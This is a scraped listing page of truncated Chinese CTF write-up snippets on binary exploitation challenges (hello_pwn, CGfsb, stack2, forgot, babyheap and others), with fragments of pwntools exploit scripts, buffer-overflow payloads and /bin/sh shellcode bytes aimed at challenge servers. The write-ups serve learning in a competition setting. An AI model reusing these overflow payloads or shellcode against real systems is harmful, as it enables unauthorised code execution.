xctf-pwn hello_pwn】的更多相关文章

题目分析 下载文件后首先使用checksec检查文件保护机制 使用ida查看伪代码 思路明确,让dword_60106C == 1853186401即可输出flag 信息收集 偏移量 sub_400686函数地址 编写脚本 from pwn import * p = remote('111.198.29.45',36884) #p = process("./pwn002") payload = "A"*4 + p64(1853186401) p.sendline(p…
碎碎念 咕咕咕了好久的Pwn,临时抱佛脚入门一下. 先安利之前看的一个 Reverse+Pwn 讲解视频 讲的还是很不错的,建议耐心看完 另外感觉Reverse和Pwn都好难!! 不,CTF好难!! 之前学C的时候了解过gets()函数很危险 一般笔者会使用如下代码代替gets() scanf("%[^\n]%*c",a); 学了Pwn更直观地感受到了这一点 关于scanf的更多用法详见 https://blog.csdn.net/jeffasd/article/details/807…
CGfsb 题目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5050 下载文件后,使用file命令查看. 32位的文件,用ida打开,F5查看伪代码. printf漏洞:https://www.cnblogs.com/cfans1993/articles/5619134.html 思路: 找到pwnme的地址 把pwnme的地址写到s里面 printf输出8个字节,然后用%n把8写入…
涉及的工具有 Ubuntu 16.04 pwntools IDA gdb-peda 1.get_shell 连接就给flag,可以直接用nc连接,然后输入ls查看里面的目录,发现有名字叫flag文件,cat flag得到flag 以下是常规解法 先看一下程序的位数   为64位的ELF 然后看保护机制 然后用IDA看看,找到main函数,F5查看伪代码 system函数可以直接获得shell ,连接就可以获得get shell from pwn import * r=remote('111.19…
xctf - stack2 文件check一下,几乎全开了 运行一下程序,好像很正常呢: 再来一个大的,好像有点儿问题,变1.00了 在ida中查看,在输入的时候没有检查数据大小 可以通过劫持eip获取shell.程序偏移0x84,程序中读取了低位,需要逐位添加地址 system('/bin/bash')地址:0x0804859b #!/usr/bin/env python #coding:utf-8 from pwn import * p = process('./stack2') #p =…
xctf - forgot check一下,开启了NX 拉入ida中,能找到: __isoc99_scanf,能够无限输入, 循环中,读取32个scanf的字符并进行判断,最后根据结果调用存在栈上的函数表,正好位于溢出变量的下方, 并直接使用v3+ --v14栈地址作为函数,如果v14为1时,就会是v3地址的函数.所以构造63 byte的padding加上填充的目标地址就可以拿到flag from pwn import * context.log_level = 'debug' p = remo…
第一次做出XCTF的题目来,感谢wjh师傅的指点,虽然只做出一道最简单的pwn题,但是还是挺开心的.此贴用来记录一下,赛后试着看看其他大师傅的wp,看看能不能再做出一道题来. babyheap 程序有add.delete.show.edit功能. 在add函数只能创建0x10-0x60大小的chunk. delete函数存在uaf漏洞. show函数平平无奇. edit函数只能往chunk+8的位置进行写,就是在free之后不能直接利用uaf漏洞改写fd指针. 还有一个函数是leavename函…
Pwn Collections Date from 2016-07-11 Difficult rank: $ -> $$... easy -> hard CISCN 2016 pwn-1 $$ From this challenge I find it better to learn about ELF file type & C program's construction You'd better learn how to use pwntool or zio fluently T…
一.pwn1 简单的32位栈溢出,定位溢出点后即可写exp gdb-peda$ r Starting program: /usr/iscc/pwn1 C'mon pwn me : AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAq…
80pts: 栈溢出,gdb调试发现发送29控制eip,nx:disabled,所以布置好shellcode后getshell from pwn import * #p=process('./tc1') p=remote('106.75.9.11',20000) nop='\x90'*19 buf='\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x8…